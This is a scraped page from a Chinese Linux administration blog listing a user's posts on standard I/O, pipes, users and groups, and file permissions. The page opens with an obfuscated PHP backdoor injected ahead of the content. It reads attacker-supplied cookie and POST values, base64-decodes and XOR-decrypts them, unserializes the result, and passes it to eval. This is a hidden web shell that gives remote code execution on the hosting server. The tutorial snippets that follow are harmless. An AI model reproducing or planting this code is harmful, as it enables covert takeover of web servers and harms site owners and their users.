$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} M20-16刘国新 | Linux运维部落

M20-16刘国新

  • 标准I/O和管道

    程序包含指令和数据,经常需要读入数据和输出数据 打开的文件都有一个fd:file descriptor(文件描述符) 用nano打开一个文件,查看其PID  0,1,2就是所谓的文件描述符。 在Linux里输入输出和错误都由这三个描述符来表示 标准输入(STDIN) -0 默认接受来自键盘的输入 标准输出(STDOUT)-1 默认输出到终端窗口 标…

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  • 用户和组

    3A安全介绍 资源分派: Authentication:认证 Authorization:授权 Accouting|Audition:审计 安全上下文 Linux安全上下文 运行中的程序:进程 (process) 以进程发起者的身份运行: root: /bin/cat mage: /bin/cat 进程所能够访问资源的权限取决于进程的运行者的身份 用户use…

    Linux干货 2016-08-08
  • 文件权限

    小技巧 除root用户外其他用户将不能登录 touch /etc/nologin 或touch /run/nologin echo “system is maintaining”>> /etc/nologin 文件属性 文件的权限主要针对三类对象进行定义: owner: 属主, u 修改文件的属主: chown [OPTION]… […

    Linux干货 2016-08-08